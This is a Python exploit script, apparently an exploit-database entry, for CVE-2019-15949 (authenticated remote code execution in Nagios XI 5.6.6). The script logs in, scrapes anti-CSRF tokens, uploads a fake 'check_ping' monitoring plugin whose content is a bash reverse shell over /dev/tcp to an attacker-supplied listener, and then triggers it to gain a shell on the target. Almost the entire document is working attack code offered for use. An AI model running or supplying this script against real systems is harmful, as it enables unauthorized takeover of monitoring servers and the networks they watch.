Nagios Xi 5.6.6 – Authenticated Remote Code Execution (RCE)
# Exploit Title: Nagiosxi authenticated Remote Code Execution # Date: 17/02/2024 # Exploit Author: Calil Khalil # Vendor Homepage: https://www.nagios.com/products/nagios-xi/ # Version: Nagios Xi 5.6.6 # Tested on: Ubuntu # CVE : CVE-2019-15949 # # python3 exp.py -t https://<target>/ -b /<nagiosxi-path>/ -u user -p 'password' -lh <rev-ip> -lp <rev-port> -k (ignore cert) # import argparse import re import requests import urllib3 class Nagiosxi(): def __init__(self, target, parameter, username, password, lhost, lport, ignore_ssl): self.url = target self.parameter = parameter self.username = username self.password = password self.lhost = lhost self.lport = lport self.ignore_ssl = ignore_ssl self.login() def upload(self, session): print("Uploading Malicious Check Ping Plugin") upload_url = self.url + self.parameter + "/admin/monitoringplugins.php" upload_token = session.get(upload_url, verify=not self.ignore_ssl) nsp = re.findall('var nsp_str = "(.*)";', upload_token.text) print("Upload NSP Token: " + nsp[0]) payload = "bash -c 'bash -i >& /dev/tcp/" + self.lhost + "/" + self.lport + " 0>&1'" file_data = { "upload": "1", "nsp": nsp[0], "MAX_FILE_SIZE": "20000000" } file_upload = { "uploadedfile": ("check_ping", payload, "application/octet-stream", {"Content-Disposition": "form-data"}) } session.post(upload_url, data=file_data, files=file_upload, verify=not self.ignore_ssl) payload_url = self.url + self.parameter + "/includes/components/profile/profile.php?cmd=download" session.get(payload_url, verify=not self.ignore_ssl) def login(self): session = requests.Session() login_url = self.url + self.parameter + "/login.php" token = session.get(login_url, verify=not self.ignore_ssl) nsp = re.findall('name="nsp" value="(.*)">', token.text) print("Login NSP Token: " + nsp[0]) post_data = { "nsp": nsp[0], "page": "auth", "debug": "", "pageopt": "login", "redirect": "", "username": self.username, "password": self.password, "loginButton": "" } login = session.post(login_url, data=post_data, verify=not self.ignore_ssl) if "Home Dashboard" in login.text: print("Logged in!") else: print("Unable to login!") self.upload(session) if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2019–15949 Nagiosxi authenticated Remote Code Execution') parser.add_argument('-t', metavar='<Target base URL>', help='Example: -t http://nagios.url/', required=True) parser.add_argument('-b', metavar='<Base Directory>', help="Example: -b /nagiosxi/", required=True) parser.add_argument('-u', metavar='<Username>', help="Example: -a username", required=True) parser.add_argument('-p', metavar='<Password>', help="Example: -p 'password'", required=True) parser.add_argument('-lh', metavar='<Listener IP>', help="Example: -lh 127.0.0.1", required=True) parser.add_argument('-lp', metavar='<Listener Port>', help="Example: -lp 1337", required=True) parser.add_argument('-k', action='store_true', help="Ignore SSL certificate verification") args = parser.parse_args() urllib3.disable_warnings() try: print('CVE-2019-15949 Nagiosxi authenticated Remote Code Execution') Nagiosxi(args.t, args.b, args.u, args.p, args.lh, args.lp, args.k) except KeyboardInterrupt: print("\nBye Bye!") exit() |